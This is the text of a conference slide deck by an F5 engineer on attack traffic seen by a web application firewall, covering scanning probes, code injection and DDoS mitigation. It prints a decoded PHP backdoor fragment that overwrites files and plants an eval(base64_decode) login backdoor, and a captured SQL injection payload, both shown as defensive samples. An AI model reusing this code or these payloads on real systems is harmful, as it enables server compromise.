
A DAY IN THE LIFE OF A WAF 

Sam Pickles, F5 Networks 



Who am I? 

Sam Pickles 

Senior Engineer for F5 Networks 

WAF Specialist and general security type 

 

Why am I here? 

We get to see the pointy end of a lot of attack traffic.   

Not much attack data finds its way into the public domain, 

so I thought I would share what I can.  



Agenda: 

Defacement 

Non Compliant HTTP 

Code Injection 

Some Broader Trends  

DDoS Trends and Examples 



DEFACEMENT 



From Spain: 

 



 



 



NON-COMPLIANT HTTP 









Another (tiny) probe: 



From the same host: 



 04:42:45  Canada 72.10.168.50  [HTTPS] /admin/scripts/setup.php 

 04:42:45  Canada 72.10.168.50  [HTTPS] /mysql/scripts/setup.php 

 04:42:45  Canada 72.10.168.50  [HTTPS] /pma/scripts/setup.php 

 04:42:44  Canada 72.10.168.50  [HTTPS] /db/scripts/setup.php 

 04:42:44  Canada 72.10.168.50  [HTTPS] /scripts/setup.php 

 04:42:44  Canada 72.10.168.50  [HTTPS] /sql/scripts/setup.php 

 04:42:44  Canada 72.10.168.50  [HTTPS] /web/scripts/setup.php 

 04:42:44  Canada 72.10.168.50  [HTTPS] /myadmin/scripts/setup.php 

 

…etc 

 

 



CODE INJECTION 



Probing for code injection 

vulnerabilities: 

Checking for access to 

/proc/self/environ 



PHP Injection attempt: 



Enabling Authentication on the Server: 

 



PHP Toolkit: 



Decoded a couple of times: 



$pwd_admin = ereg_replace('/images','/admin', $system_pwd); 

if (chdir($pwd_admin)) { 

 if (is_writable($pwd_admin)) { 

  if (is_writable('categories.php')) { 

   unlink('categories.php'); 

   $new_categories     = "<?php 

header(location:'http://www.google.com'); ?>"; 

   $patch_categories   = fopen('categories.php','w'); 

   $write_categories   = 

fwrite('categories.php',"$new_categories"); 

   $response_categories= "[-] Categories Patched"; 

  } 

  else { $response_categories = "[-] Unable to patch Categories"; } 

  if (is_writable('login.php')) { 

   $backdoor_login = "<?php eval(base64_decode('if 

($HTTP_POST_VARS['username']) { 

  

 $write = ($HTTP_POST_VARS['username']); 

 pass_write($write); 

} 

 



Attack Summary 

Works with any directory structure – targeted for 

PHP specifically, but can work on any vulnerable 

app 

Uses a variety of methods to  

backdoor the server,  

add OS level passwords,  

enumerate users  

Remains hidden - no obvious error messages  



SQL Injection: 

GET 

/__utm.gif?utmwv=1&utmn=137576902&utmcs=UT

F-8&utmsr=1280x800&utmsc=32-bit&utmul=en-

us&utmje=1&utmfl=10.2%20r154&utmcn=1&utmr=

http://www.<removed>.com/SELECT%20id%20FRO

M%20logins%20WHERE%20username='admin'AND%2

0password='anything'OR'x'='x'%22;&utmp=/ 

HTTP/1.0 

Cookie: 

____utmz=245999259.1303780682.1.1.utmccn=(re

ferral)|utmcsr=<removed>.com|utmcct=/SELECT%20

id%20FROM%20logins%20WHERE%20username='ad

min'AND%20password='anything'OR'x'='x'%22 



SOME BROADER TRENDS 



Where From? 

 



How Many Attacks? 



Reason for Blocking: 

 



Further Observations:  

Attacks are extremely common – at least hourly, if 

not minute by minute  

Example: one global social networking/web 

monster gets a minimum of ~500Mbps mixed 

attack traffic at all times! 

Most attacks are relatively untargeted at the 

specific site, but many attacks are targeted at 

languages, frameworks etc such as PHP 

Search engine integration is the norm 

Formal incident response is probably best saved for 

the really targeted and persistent offenders 

 



Further Observations: 

Geo IP blocking by itself has some value but will be 

too problematic for most sites 

Legitimate traffic may originate from any country 

Anonymiser networks have proxy hosts available in any 

country desired => attacks may appear local in origin 

Most attacks are just probes or don’t work on your 

site, but it only takes one! 

 

IP blocking of any kind must be done with care 

Mega proxies 

Tor 

Anonymiser networks 

 



DDOS TRENDS AND 

EXAMPLES 



SYN and ICMP Flood 

Old school but still popular 

SYN Flood: 

The attacker does not respond to the server with the "ACK" 

in a TCP connection exchange:  SYN, SYN-ACK, ACK 

Connections are half-opened and consume server 

resources 

IP Address is unreliable as no response required by client – 

can result in “reflected” attack 

ICMP Flood: 

Sending the victim an overwhelming number of ping 

packets, 

Simple to launch and the primary requirement being 

access to greater bandwidth than the victim 

 

 



Attacks are Moving “Up the Stack” 

90% of security 

investment focused 

here 

Network Threats 
Application 

Threats 

75% of attacks 

focused here 

Source: Gartner 



OPERATION 

PAYBACK 

 

Anonymous 



Cast of characters: 

 



Julian Assange 

 



Wikileaks 



US Government 



The Target 



The Instigators 



The Crowd 

 



Attacks overview 

 

Network flood attacks:  

High PPS attacks: extremely high SYN flood and UDP flood 

attack rates hit victim sites = bottlenecks 

Oversized ICMP and UDP frames intended to consume 

bandwidth 

Fragmented and corrupted UDP frames intended to consume 

more resources on application delivery equipment;  

Connection flood attacks: targeting the server TCP stack 

resources;  

Application flood attacks:  

HTTP page request floods targeting crafted URLs;  

HTTP data floods;  

Crafted Layer7 TCP attacks such as SlowLoris, slow POST  

 

 



The Attack: 

Normal production load for our Target is 60K HTTP 

requests per second 

  



The Attack 

Initial peak at 1.5million HTTP requests per second 

Volumes then rose to around 4m RPS during 

“official” attack period 

Anonymous announced that the attack had ended 

Attack then rose to 15 million RPS! Anonymous 

were not directly controlling the attack  

Several major spikes when large botnets and 

university labs joined the attack 

Peak measured at 350 x normal production 

load! 

=> 35,000% increase 





How does Slowloris work? 

Opens connections to web server (very little 

bandwidth required) 

Begins to send request...  

...One header at a time...  

...Very Slowly...  

...Never ends... 

 

Server holds connection open indefinitely, and runs 

out of available connection pool.  

Result – server is unavailable. No error logs during 

attack.  



Reason attack was mitigated: 

Reverse proxy handles incoming requests 

Unfinished request from Slowloris exceeds limits 

on HTTP profile and is dropped.  

 



HTTP Slow POST  

Similar concept to SlowLoris, but POST with large 

payload is uploaded extremely slowly. 

Large number of concurrent connections consume 

memory on host 



Normal TCP (Reverse) Proxy 

Connections are terminated on a TCP proxy stack. 

Tuned for application performance – requires 

advanced options negotiated during 3-way 

handshake. 

 



SYN Cookie  

During SYN flood attack: 

 

 



During SYN Flood attack:  

SYN Cookies work very well, but... 

Advanced TCP Options are not possible when SYN 

Cookies activated. 

This is why it is ideal to have a threshold for 

activation 

This is where a TCP acceleration proxy may have 

advantages over server operating systems eg BSD, 

Solaris, Windows 



Stack tuning tips: 

Lower the default TCP connection timeouts in the 

TCP profile. 

Lower the Reaper percents from low 85 / high 95 

to low 75 / high 90.  This means fewer connections 

held open, but means the proxy will be more 

aggressive cleaning out idle connections during a 

TCP connection flood. 

 



HTTP Profile tuning tips: 

Analyze the typical and maximum HTTP header 

size, including cookies, that should legitimately be 

seen.  The default maximum on LTM is 32k.  This 

should be lowered if your average is 4k and max 

possible is 8k.  In this example, setting the max 

header size to 16 should adequately ensure no 

false positives (resulting in rejected connections), 

while helping to ensure a number of HTTP header 

based DoS attacks are better handled. 



Layer 7 DoS/DDos mitigation 

TPS vs Latency detection  

 



Conclusion: 

We all know how dangerous Internet traffic is 

There is a lot of automated, low-skilled attack 

activity 

There are also a lot of very targetted attacks, and 

talented hackers 

Many sites will benefit from the visibility and 

mitigation available from WAFs 



THANKS  


